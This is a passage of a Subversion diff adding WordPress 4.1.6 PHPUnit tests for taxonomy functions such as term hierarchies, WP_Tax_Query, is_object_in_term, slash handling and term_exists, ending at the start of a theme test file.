+			'child_of' => $initial_terms['one_term']['term_id'],
+			'parent' => $initial_terms['one_term']['term_id'],
+		) );
+
+		// Verify that parent takes precedence over child_of
+		$expected = array(
+			$initial_terms['two_term']['term_id'],
+			$initial_terms['five_term']['term_id'],
+		);
+		$actual = wp_list_pluck( $terms, 'term_id' );
+		$this->assertEqualSets( $expected, $actual );
+	}
+
+	protected function create_hierarchical_terms_and_posts() {
+		$terms = array();
+
+		$terms['parent1'] = $this->factory->term->create( array( 'slug' => 'parent-1', 'name' => 'Parent 1', 'taxonomy' => 'hierarchical_fields' ) );
+		$terms['parent2'] = $this->factory->term->create( array( 'slug' => 'parent-2', 'name' => 'Parent 2', 'taxonomy' => 'hierarchical_fields' ) );
+		$terms['child1'] = $this->factory->term->create( array( 'slug' => 'child-1', 'name' => 'Child 1', 'taxonomy' => 'hierarchical_fields', 'parent' => $terms['parent1'] ) );
+		$terms['child2'] = $this->factory->term->create( array( 'slug' => 'child-2', 'name' => 'Child 2', 'taxonomy' => 'hierarchical_fields', 'parent' => $terms['parent1'] ) );
+		$terms['grandchild1'] = $this->factory->term->create( array( 'slug' => 'grandchild-1', 'name' => 'Grandchild 1', 'taxonomy' => 'hierarchical_fields', 'parent' => $terms['child1'] ) );
+
+		$post_id = $this->factory->post->create();
+		wp_set_post_terms( $post_id, $terms['parent2'], 'hierarchical_fields', true );
+		wp_set_post_terms( $post_id, $terms['child1'], 'hierarchical_fields', true );
+
+		return $terms;
+	}
+
+	protected function create_hierarchical_terms() {
+		// Set up the following hierarchy:
+		// - One
+		//   - Two
+		//     - Three (1)
+		//     - Four
+		//   - Five
+		//     - Six (1)
+		//   - Seven
+		$one_term = wp_insert_term(
+			'One',
+			'category'
+		);
+		$two_term = wp_insert_term(
+			'Two',
+			'category',
+			array(
+				'parent' => $one_term['term_id']
+			)
+		);
+		$three_term = wp_insert_term(
+			'Three',
+			'category',
+			array(
+				'parent' => $two_term['term_id']
+			)
+		);
+		$four_term = wp_insert_term(
+			'Four',
+			'category',
+			array(
+				'parent' => $two_term['term_id']
+			)
+		);
+		$five_term = wp_insert_term(
+			'Five',
+			'category',
+			array(
+				'parent' => $one_term['term_id']
+			)
+		);
+		$six_term = wp_insert_term(
+			'Six',
+			'category',
+			array(
+				'parent' => $five_term['term_id']
+			)
+		);
+		$seven_term = wp_insert_term(
+			'Seven',
+			'category',
+			array(
+				'parent' => $one_term['term_id']
+			)
+		);
+
+		// Ensure child terms are not empty
+		$first_post_id = $this->factory->post->create();
+		$second_post_id = $this->factory->post->create();
+		wp_set_post_terms( $first_post_id, array( $three_term['term_id'] ), 'category' );
+		wp_set_post_terms( $second_post_id, array( $six_term['term_id'] ), 'category' );
+
+		return array(
+			'one_term' => $one_term,
+			'two_term' => $two_term,
+			'three_term' => $three_term,
+			'four_term' => $four_term,
+			'five_term' => $five_term,
+			'six_term' => $six_term,
+			'seven_term' => $seven_term
+		);
+	}
+
+	protected function set_up_three_posts_and_tags() {
+		$posts = $this->factory->post->create_many( 3, array( 'post_type' => 'post' ) );
+		foreach ( $posts as $post ) {
+			wp_set_object_terms( $post, rand_str(), 'post_tag' );
+		}
+
+		wp_cache_delete( 'last_changed', 'terms' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/term/isObjectInTerm.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/term/isObjectInTerm.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/term/isObjectInTerm.php	(revision 33402)
@@ -0,0 +1,103 @@
+<?php
+
+/**
+ * @group taxonomy
+ */
+class Tests_IsObjectInTerm extends WP_UnitTestCase {
+	public function test_terms_are_ints() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t1 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax' ) );
+		$t2 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax' ) );
+
+		$posts = $this->factory->post->create_many( 2 );
+		wp_set_object_terms( $posts[0], array( $t1 ), 'wptests_tax' );
+
+		$this->assertTrue( is_object_in_term( $posts[0], 'wptests_tax', array( $t1, $t2 ) ) );
+		$this->assertFalse( is_object_in_term( $posts[1], 'wptests_tax', array( $t1, $t2 ) ) );
+
+		_unregister_taxonomy( 'wptests_tax', 'post' );
+	}
+
+	public function test_terms_are_strings_and_match_term_id() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t1 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax' ) );
+		$t2 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax' ) );
+
+		$posts = $this->factory->post->create_many( 2 );
+		wp_set_object_terms( $posts[0], array( $t1 ), 'wptests_tax' );
+
+		$t1_str = (string) $t1;
+		$t2_str = (string) $t2;
+
+		$this->assertTrue( is_object_in_term( $posts[0], 'wptests_tax', array( $t1_str, $t2_str ) ) );
+		$this->assertFalse( is_object_in_term( $posts[1], 'wptests_tax', array( $t1_str, $t2_str ) ) );
+
+		_unregister_taxonomy( 'wptests_tax', 'post' );
+	}
+
+	public function test_terms_are_strings_and_match_term_name() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t1 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax', 'name' => 'Foo' ) );
+		$t2 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax', 'name' => 'Bar') );
+
+		$posts = $this->factory->post->create_many( 2 );
+		wp_set_object_terms( $posts[0], array( $t1 ), 'wptests_tax' );
+
+		$this->assertTrue( is_object_in_term( $posts[0], 'wptests_tax', array( 'Foo', 'Bar' ) ) );
+		$this->assertFalse( is_object_in_term( $posts[1], 'wptests_tax', array( 'Foo', 'Bar' ) ) );
+
+		_unregister_taxonomy( 'wptests_tax', 'post' );
+	}
+
+	public function test_terms_are_strings_and_match_term_slug() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t1 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax', 'slug' => 'foo' ) );
+		$t2 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax', 'slug' => 'bar') );
+
+		$posts = $this->factory->post->create_many( 2 );
+		wp_set_object_terms( $posts[0], array( $t1 ), 'wptests_tax' );
+
+		$this->assertTrue( is_object_in_term( $posts[0], 'wptests_tax', array( 'foo', 'bar' ) ) );
+		$this->assertFalse( is_object_in_term( $posts[1], 'wptests_tax', array( 'foo', 'bar' ) ) );
+
+		_unregister_taxonomy( 'wptests_tax', 'post' );
+	}
+
+	public function test_terms_contain_strings_and_ints_and_match_term_id_as_int() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t1 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax', 'slug' => 'foo' ) );
+		$t2 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax', 'slug' => 'bar') );
+
+		$posts = $this->factory->post->create_many( 2 );
+		wp_set_object_terms( $posts[0], array( $t1 ), 'wptests_tax' );
+
+		$this->assertTrue( is_object_in_term( $posts[0], 'wptests_tax', array( $t1, 'bar' ) ) );
+		$this->assertFalse( is_object_in_term( $posts[1], 'wptests_tax', array( $t1, 'bar' ) ) );
+
+		_unregister_taxonomy( 'wptests_tax', 'post' );
+	}
+
+	/**
+	 * @ticket 29467
+	 */
+	public function test_should_not_return_true_if_term_name_begins_with_existing_term_id() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax' ) );
+
+		$post_ID  = $this->factory->post->create();
+		wp_set_object_terms( $post_ID, $t, 'wptests_tax' );
+
+		$int_tax_name = $t . '_term_name';
+
+		$this->assertFalse( is_object_in_term( $post_ID, 'wptests_tax', $int_tax_name ) );
+
+		// Verify it works properly when the post is actually in the term.
+		wp_set_object_terms( $post_ID, array( $int_tax_name ), 'wptests_tax' );
+		$this->assertTrue( is_object_in_term( $post_ID, 'wptests_tax', $int_tax_name ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/term/query.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/term/query.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/term/query.php	(revision 33402)
@@ -0,0 +1,423 @@
+<?php
+
+/**
+ * @group taxonomy
+ */
+class Tests_Tax_Query extends WP_UnitTestCase {
+	protected $q;
+
+	public function setUp() {
+		parent::setUp();
+		unset( $this->q );
+		$this->q = new WP_Query();
+	}
+
+	public function test_construct_with_relation_default() {
+		$tq = new WP_Tax_Query( array() );
+		$this->assertSame( 'AND', $tq->relation );
+	}
+
+	public function test_construct_with_relation_or_lowercase() {
+		$tq = new WP_Tax_Query( array(
+			'relation' => 'or',
+		) );
+		$this->assertSame( 'OR', $tq->relation );
+	}
+
+	public function test_construct_with_relation_or_uppercase() {
+		$tq = new WP_Tax_Query( array(
+			'relation' => 'OR',
+		) );
+		$this->assertSame( 'OR', $tq->relation );
+	}
+
+	public function test_construct_with_relation_other() {
+		$tq = new WP_Tax_Query( array(
+			'relation' => 'foo',
+		) );
+		$this->assertSame( 'AND', $tq->relation );
+	}
+
+	public function test_construct_fill_missing_query_params() {
+		$tq = new WP_Tax_Query( array(
+			array(),
+		) );
+
+		$expected = array(
+			'taxonomy' => '',
+			'terms' => array(),
+			'include_children' => true,
+			'field' => 'term_id',
+			'operator' => 'IN',
+		);
+
+		$this->assertEquals( $expected, $tq->queries[0] );
+	}
+
+	public function test_construct_fill_missing_query_params_merge_with_passed_values() {
+		$tq = new WP_Tax_Query( array(
+			array(
+				'taxonomy' => 'foo',
+				'include_children' => false,
+				'foo' => 'bar',
+			),
+		) );
+
+		$expected = array(
+			'taxonomy' => 'foo',
+			'terms' => array(),
+			'include_children' => false,
+			'field' => 'term_id',
+			'operator' => 'IN',
+			'foo' => 'bar',
+		);
+
+		$this->assertEquals( $expected, $tq->queries[0] );
+	}
+
+	public function test_construct_cast_terms_to_array() {
+		$tq = new WP_Tax_Query( array(
+			array(
+				'terms' => 'foo',
+			),
+		) );
+
+		$this->assertEquals( array( 'foo', ), $tq->queries[0]['terms'] );
+	}
+
+	/**
+	 * @ticket 30117
+	 */
+	public function test_construct_empty_strings_array_members_should_be_discarded() {
+		$q = new WP_Tax_Query( array(
+			'',
+			array(
+				'taxonomy' => 'post_tag',
+				'terms' => 'foo',
+			),
+		) );
+
+		$this->assertSame( 1, count( $q->queries ) );
+	}
+
+	public function test_transform_query_terms_empty() {
+		$tq = new WP_Tax_Query( array(
+			array(),
+		) );
+		$query = $tq->queries[0];
+
+		$tq->transform_query( $tq->queries[0], 'term_id' );
+
+		$this->assertSame( $query, $tq->queries[0] );
+	}
+
+	public function test_transform_query_field_same_as_resulting_field() {
+		$tq = new WP_Tax_Query( array(
+			array(
+				'field' => 'term_id',
+			),
+		) );
+		$query = $tq->queries[0];
+
+		$tq->transform_query( $tq->queries[0], 'term_id' );
+
+		$this->assertSame( $query, $tq->queries[0] );
+	}
+
+	public function test_transform_query_resulting_field_sanitized() {
+		$t1 = $this->factory->category->create( array( 'slug' => 'foo', ) );
+		$t2 = $this->factory->category->create( array( 'slug' => 'bar', ) );
+		$p = $this->factory->post->create();
+		wp_set_post_categories( $p, $t1 );
+
+		$tq1 = new WP_Tax_Query( array(
+			array(
+				'terms' => array( 'foo' ),
+				'field' => 'slug',
+			),
+		) );
+		$tq1->transform_query( $tq1->queries[0], 'term_taxonomy_id' );
+
+		$tq2 = new WP_Tax_Query( array(
+			array(
+				'terms' => array( 'foo' ),
+				'field' => 'slug',
+			),
+		) );
+		$tq2->transform_query( $tq2->queries[0], 'TERM_ ta%xonomy_id' );
+
+		$this->assertSame( $tq1->queries[0], $tq2->queries[0] );
+	}
+
+	public function test_transform_query_field_slug() {
+		$t1 = $this->factory->category->create( array( 'slug' => 'foo', ) );
+		$p = $this->factory->post->create();
+		$tt_ids = wp_set_post_categories( $p, $t1 );
+
+		$tq = new WP_Tax_Query( array(
+			array(
+				'taxonomy' => 'category',
+				'terms' => array( 'foo' ),
+				'field' => 'slug',
+			),
+		) );
+		$tq->transform_query( $tq->queries[0], 'term_taxonomy_id' );
+
+		$this->assertSame( $tt_ids, $tq->queries[0]['terms'] );
+		$this->assertSame( 'term_taxonomy_id', $tq->queries[0]['field'] );
+	}
+
+	public function test_transform_query_field_name() {
+		$t1 = $this->factory->category->create( array( 'slug' => 'foo', 'name' => 'Foo', ) );
+		$p = $this->factory->post->create();
+		$tt_ids = wp_set_post_categories( $p, $t1 );
+
+		$tq = new WP_Tax_Query( array(
+			array(
+				'taxonomy' => 'category',
+				'terms' => array( 'Foo' ),
+				'field' => 'name',
+			),
+		) );
+		$tq->transform_query( $tq->queries[0], 'term_taxonomy_id' );
+
+		$this->assertSame( $tt_ids, $tq->queries[0]['terms'] );
+		$this->assertSame( 'term_taxonomy_id', $tq->queries[0]['field'] );
+	}
+
+	public function test_transform_query_field_term_taxonomy_id() {
+		$t1 = $this->factory->category->create( array( 'slug' => 'foo', 'name' => 'Foo', ) );
+		$p = $this->factory->post->create();
+		$tt_ids = wp_set_post_categories( $p, $t1 );
+
+		$tq = new WP_Tax_Query( array(
+			array(
+				'taxonomy' => 'category',
+				'terms' => $tt_ids,
+				'field' => 'term_taxonomy_id',
+			),
+		) );
+		$tq->transform_query( $tq->queries[0], 'term_id' );
+
+		$this->assertEquals( array( $t1 ), $tq->queries[0]['terms'] );
+		$this->assertSame( 'term_id', $tq->queries[0]['field'] );
+	}
+
+	public function test_transform_query_field_term_taxonomy_default() {
+		$t1 = $this->factory->category->create( array( 'slug' => 'foo', 'name' => 'Foo', ) );
+		$p = $this->factory->post->create();
+		$tt_ids = wp_set_post_categories( $p, $t1 );
+
+		$tq = new WP_Tax_Query( array(
+			array(
+				'taxonomy' => 'category',
+				'terms' => array( $t1 ),
+				'field' => 'foo', // Anything defaults to term_id
+			),
+		) );
+		$tq->transform_query( $tq->queries[0], 'term_taxonomy_id' );
+
+		$this->assertEquals( $tt_ids, $tq->queries[0]['terms'] );
+		$this->assertSame( 'term_taxonomy_id', $tq->queries[0]['field'] );
+	}
+
+	public function test_transform_query_nonexistent_terms() {
+		$tq = new WP_Tax_Query( array(
+			array(
+				'terms' => array( 'foo' ),
+				'field' => 'slug',
+				'operator' => 'AND',
+			),
+		) );
+		$tq->transform_query( $tq->queries[0], 'term_taxonomy_id' );
+
+		$this->assertTrue( is_wp_error( $tq->queries[0] ) );
+	}
+
+	/**
+	 * @ticket 18105
+	 */
+	public function test_get_sql_relation_or_operator_in() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$t3 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$tq = new WP_Tax_Query( array(
+			'relation' => 'OR',
+			array(
+				'taxonomy' => 'wptests_tax',
+				'field' => 'term_id',
+				'terms' => $t1,
+			),
+			array(
+				'taxonomy' => 'wptests_tax',
+				'field' => 'term_id',
+				'terms' => $t2,
+			),
+			array(
+				'taxonomy' => 'wptests_tax',
+				'field' => 'term_id',
+				'terms' => $t3,
+			),
+		) );
+
+		global $wpdb;
+		$sql = $tq->get_sql( $wpdb->posts, 'ID' );
+
+		// Only one JOIN is required with OR + IN.
+		$this->assertSame( 1, substr_count( $sql['join'], 'JOIN' ) );
+
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	/**
+	 * @ticket 18105
+	 */
+	public function test_get_sql_relation_and_operator_in() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$t3 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$tq = new WP_Tax_Query( array(
+			'relation' => 'AND',
+			array(
+				'taxonomy' => 'wptests_tax',
+				'field' => 'term_id',
+				'terms' => $t1,
+			),
+			array(
+				'taxonomy' => 'wptests_tax',
+				'field' => 'term_id',
+				'terms' => $t2,
+			),
+			array(
+				'taxonomy' => 'wptests_tax',
+				'field' => 'term_id',
+				'terms' => $t3,
+			),
+		) );
+
+		global $wpdb;
+		$sql = $tq->get_sql( $wpdb->posts, 'ID' );
+
+		$this->assertSame( 3, substr_count( $sql['join'], 'JOIN' ) );
+
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	/**
+	 * @ticket 18105
+	 */
+	public function test_get_sql_nested_relation_or_operator_in() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$t3 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$tq = new WP_Tax_Query( array(
+			'relation' => 'OR',
+			array(
+				'taxonomy' => 'wptests_tax',
+				'field' => 'term_id',
+				'terms' => $t1,
+			),
+			array(
+				'relation' => 'OR',
+				array(
+					'taxonomy' => 'wptests_tax',
+					'field' => 'term_id',
+					'terms' => $t2,
+				),
+				array(
+					'taxonomy' => 'wptests_tax',
+					'field' => 'term_id',
+					'terms' => $t3,
+				),
+			),
+		) );
+
+		global $wpdb;
+		$sql = $tq->get_sql( $wpdb->posts, 'ID' );
+
+		$this->assertSame( 2, substr_count( $sql['join'], 'JOIN' ) );
+
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	/**
+	 * @ticket 29738
+	 */
+	public function test_get_sql_operator_not_in_empty_terms() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$tq = new WP_Tax_Query( array(
+			'relation' => 'OR',
+			array(
+				'taxonomy' => 'wptests_tax',
+				'field' => 'term_id',
+				'operator' => 'NOT IN',
+				'terms' => array(),
+			),
+		) );
+
+		global $wpdb;
+		$expected = array(
+			'join' => '',
+			'where' => '',
+		);
+
+		$this->assertSame( $expected, $tq->get_sql( $wpdb->posts, 'ID' ) );
+
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	/**
+	 * @ticket 29738
+	 */
+	public function test_get_sql_operator_and_empty_terms() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$tq = new WP_Tax_Query( array(
+			'relation' => 'OR',
+			array(
+				'taxonomy' => 'wptests_tax',
+				'field' => 'term_id',
+				'operator' => 'AND',
+				'terms' => array(),
+			),
+		) );
+
+		global $wpdb;
+		$expected = array(
+			'join' => '',
+			'where' => '',
+		);
+
+		$this->assertSame( $expected, $tq->get_sql( $wpdb->posts, 'ID' ) );
+
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/term/slashes.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/term/slashes.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/term/slashes.php	(revision 33402)
@@ -0,0 +1,129 @@
+<?php
+
+/**
+ * @group term
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Term_Slashes extends WP_Ajax_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		$this->author_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+		$this->old_current_user = get_current_user_id();
+		wp_set_current_user( $this->author_id );
+
+		$this->slash_1 = 'String with 1 slash \\';
+		$this->slash_2 = 'String with 2 slashes \\\\';
+		$this->slash_3 = 'String with 3 slashes \\\\\\';
+		$this->slash_4 = 'String with 4 slashes \\\\\\\\';
+		$this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+		$this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+		$this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+	}
+
+	function tearDown() {
+		wp_set_current_user( $this->old_current_user );
+		parent::tearDown();
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_wp_insert_term() {
+		$taxonomies = array(
+			'category',
+			'post_tag'
+		);
+		foreach ( $taxonomies as $taxonomy ) {
+			$insert = wp_insert_term(
+				$this->slash_1,
+				$taxonomy,
+				array(
+					'slug' => 'slash_test_1_'.$taxonomy,
+					'description' => $this->slash_3
+				)
+			);
+			$term = get_term( $insert['term_id'], $taxonomy );
+			$this->assertEquals( wp_unslash( $this->slash_1 ), $term->name );
+			$this->assertEquals( wp_unslash( $this->slash_3 ), $term->description );
+
+			$insert = wp_insert_term(
+				$this->slash_3,
+				$taxonomy,
+				array(
+					'slug' => 'slash_test_2_'.$taxonomy,
+					'description' => $this->slash_5
+				)
+			);
+			$term = get_term( $insert['term_id'], $taxonomy );
+			$this->assertEquals( wp_unslash( $this->slash_3 ), $term->name );
+			$this->assertEquals( wp_unslash( $this->slash_5 ), $term->description );
+
+			$insert = wp_insert_term(
+				$this->slash_2,
+				$taxonomy,
+				array(
+					'slug' => 'slash_test_3_'.$taxonomy,
+					'description' => $this->slash_4
+				)
+			);
+			$term = get_term( $insert['term_id'], $taxonomy );
+			$this->assertEquals( wp_unslash( $this->slash_2 ), $term->name );
+			$this->assertEquals( wp_unslash( $this->slash_4 ), $term->description );
+		}
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_wp_update_term() {
+		$taxonomies = array(
+			'category',
+			'post_tag'
+		);
+		foreach ( $taxonomies as $taxonomy ) {
+			$id = $this->factory->term->create(array(
+				'taxonomy' => $taxonomy
+			));
+
+			$update = wp_update_term(
+				$id,
+				$taxonomy,
+				array(
+					'name' => $this->slash_1,
+					'description' => $this->slash_3
+				)
+			);
+
+			$term = get_term( $id, $taxonomy );
+			$this->assertEquals( wp_unslash( $this->slash_1 ), $term->name );
+			$this->assertEquals( wp_unslash( $this->slash_3 ), $term->description );
+
+			$update = wp_update_term(
+				$id,
+				$taxonomy,
+				array(
+					'name' => $this->slash_3,
+					'description' => $this->slash_5
+				)
+			);
+			$term = get_term( $id, $taxonomy );
+			$this->assertEquals( wp_unslash( $this->slash_3 ), $term->name );
+			$this->assertEquals( wp_unslash( $this->slash_5 ), $term->description );
+
+			$update = wp_update_term(
+				$id,
+				$taxonomy,
+				array(
+					'name' => $this->slash_2,
+					'description' => $this->slash_4
+				)
+			);
+			$term = get_term( $id, $taxonomy );
+			$this->assertEquals( wp_unslash( $this->slash_2 ), $term->name );
+			$this->assertEquals( wp_unslash( $this->slash_4 ), $term->description );
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/term/termExists.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/term/termExists.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/term/termExists.php	(revision 33402)
@@ -0,0 +1,238 @@
+<?php
+
+/**
+ * @group taxonomy
+ */
+class Tests_TermExists extends WP_UnitTestCase {
+	public function test_term_exists_term_0() {
+		$this->assertSame( 0, term_exists( 0 ) );
+	}
+
+	public function test_term_exists_term_int_taxonomy_nonempty_term_exists() {
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'post_tag',
+		) );
+
+		$found = term_exists( intval( $t ), 'post_tag' );
+		$this->assertEquals( $t, $found['term_id'] );
+	}
+
+	public function test_term_exists_term_int_taxonomy_nonempty_term_does_not_exist() {
+		$this->assertNull( term_exists( 54321, 'post_tag' ) );
+	}
+
+	public function test_term_exists_term_int_taxonomy_nonempty_wrong_taxonomy() {
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'post_tag',
+		) );
+
+		$this->assertNull( term_exists( intval( $t ), 'foo' ) );
+	}
+
+	public function test_term_exists_term_int_taxonomy_empty_term_exists() {
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'post_tag',
+		) );
+
+		$found = term_exists( intval( $t ), 'post_tag' );
+		$this->assertEquals( $t, $found['term_id'] );
+	}
+
+	public function test_term_exists_term_int_taxonomy_empty_term_does_not_exist() {
+		$this->assertNull( term_exists( 54321 ) );
+	}
+
+	public function test_term_exists_unslash_term() {
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'post_tag',
+			'name' => 'I "love" WordPress\'s taxonomy system',
+		) );
+
+		$found = term_exists( 'I \"love\" WordPress\\\'s taxonomy system' );
+		$this->assertEquals( $t, $found );
+	}
+
+	public function test_term_exists_trim_term() {
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'post_tag',
+			'slug' => 'foo',
+		) );
+
+		$found = term_exists( '  foo  ' );
+		$this->assertEquals( $t, $found );
+	}
+
+	public function test_term_exists_term_trimmed_to_empty_string() {
+		$this->assertNull( term_exists( '   ' ) );
+	}
+
+	/**
+	 * @ticket 29589
+	 */
+	public function test_term_exists_existing_term_that_sanitizes_to_empty() {
+		wp_insert_term( '//', 'category' );
+		$this->assertNotEmpty( term_exists( '//' ) );
+		$this->assertNotEmpty( term_exists( '//', 'category' ) );
+
+		wp_insert_term( '&gt;&gt;', 'category' );
+		$this->assertNotEmpty( term_exists( '&gt;&gt;' ) );
+		$this->assertNotEmpty( term_exists( '&gt;&gt;', 'category' ) );
+	}
+
+	public function test_term_exists_taxonomy_nonempty_parent_nonempty_match_slug() {
+		register_taxonomy( 'foo', 'post', array(
+			'hierarchical' => true,
+		) );
+
+		$parent_term = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+			'parent' => $parent_term,
+			'slug' => 'child-term',
+		) );
+
+		$found = term_exists( 'child-term', 'foo', $parent_term );
+
+		_unregister_taxonomy( 'foo' );
+
+		$this->assertInternalType( 'array', $found );
+		$this->assertEquals( $t, $found['term_id'] );
+	}
+
+	/**
+	 * @ticket 29851
+	 */
+	public function test_term_exists_taxonomy_nonempty_parent_0_should_return_false_for_child_term() {
+		register_taxonomy( 'foo', 'post', array(
+			'hierarchical' => true,
+		) );
+
+		$parent_term = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+			'parent' => $parent_term,
+			'slug' => 'child-term',
+		) );
+
+		$found = term_exists( 'child-term', 'foo', 0 );
+
+		_unregister_taxonomy( 'foo' );
+
+		$this->assertSame( null, $found['term_id'] );
+	}
+
+	public function test_term_exists_taxonomy_nonempty_parent_nonempty_match_name() {
+		register_taxonomy( 'foo', 'post', array(
+			'hierarchical' => true,
+		) );
+
+		$parent_term = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+			'parent' => $parent_term,
+			'name' => 'Child Term',
+		) );
+
+		$found = term_exists( 'Child Term', 'foo', $parent_term );
+
+		_unregister_taxonomy( 'foo' );
+
+		$this->assertInternalType( 'array', $found );
+		$this->assertEquals( $t, $found['term_id'] );
+	}
+
+	public function test_term_exists_taxonomy_nonempty_parent_empty_match_slug() {
+		register_taxonomy( 'foo', 'post', array() );
+
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+			'slug' => 'kewl-dudez',
+		) );
+
+		$found = term_exists( 'kewl-dudez', 'foo' );
+
+		_unregister_taxonomy( 'foo' );
+
+		$this->assertInternalType( 'array', $found );
+		$this->assertEquals( $t, $found['term_id'] );
+	}
+
+	public function test_term_exists_taxonomy_nonempty_parent_empty_match_name() {
+		register_taxonomy( 'foo', 'post', array() );
+
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+			'name' => 'Kewl Dudez',
+		) );
+
+		$found = term_exists( 'Kewl Dudez', 'foo' );
+
+		_unregister_taxonomy( 'foo' );
+
+		$this->assertInternalType( 'array', $found );
+		$this->assertEquals( $t, $found['term_id'] );
+	}
+
+	public function test_term_exists_taxonomy_empty_parent_empty_match_slug() {
+		register_taxonomy( 'foo', 'post', array() );
+
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+			'name' => 'juicy-fruit',
+		) );
+
+		$found = term_exists( 'juicy-fruit' );
+
+		_unregister_taxonomy( 'foo' );
+
+		$this->assertInternalType( 'string', $found );
+		$this->assertEquals( $t, $found );
+	}
+
+	public function test_term_exists_taxonomy_empty_parent_empty_match_name() {
+		register_taxonomy( 'foo', 'post', array() );
+
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+			'name' => 'Juicy Fruit',
+		) );
+
+		$found = term_exists( 'Juicy Fruit' );
+
+		_unregister_taxonomy( 'foo' );
+
+		$this->assertInternalType( 'string', $found );
+		$this->assertEquals( $t, $found );
+	}
+
+	function test_term_exists_known() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		// insert a term
+		$term = rand_str();
+		$t = wp_insert_term( $term, 'wptests_tax' );
+		$this->assertInternalType( 'array', $t );
+		$this->assertEquals( $t['term_id'], term_exists($t['term_id']) );
+		$this->assertEquals( $t['term_id'], term_exists($term) );
+
+		// clean up
+		$this->assertTrue( wp_delete_term( $t['term_id'], 'wptests_tax' ) );
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	function test_term_exists_unknown() {
+		$this->assertNull( term_exists(rand_str()) );
+		$this->assertEquals( 0, term_exists(0) );
+		$this->assertEquals( 0, term_exists('') );
+		$this->assertEquals( 0, term_exists(NULL) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/theme.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/theme.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/theme.php	(revision 33402)
@@ -0,0 +1,299 @@
+<?php
+
+/**
+ * test wp-includes/theme.php
+ *
+ * @group themes
+ */
+class Tests_Theme extends WP_UnitTestCase {
+	protected $theme_slug = 'twentyeleven';
+	protected $theme_name = 'Twenty Eleven';
+	protected $default_themes = array(
+		'twentyten', 'twentyeleven', 'twentytwelve', 'twentythirteen',
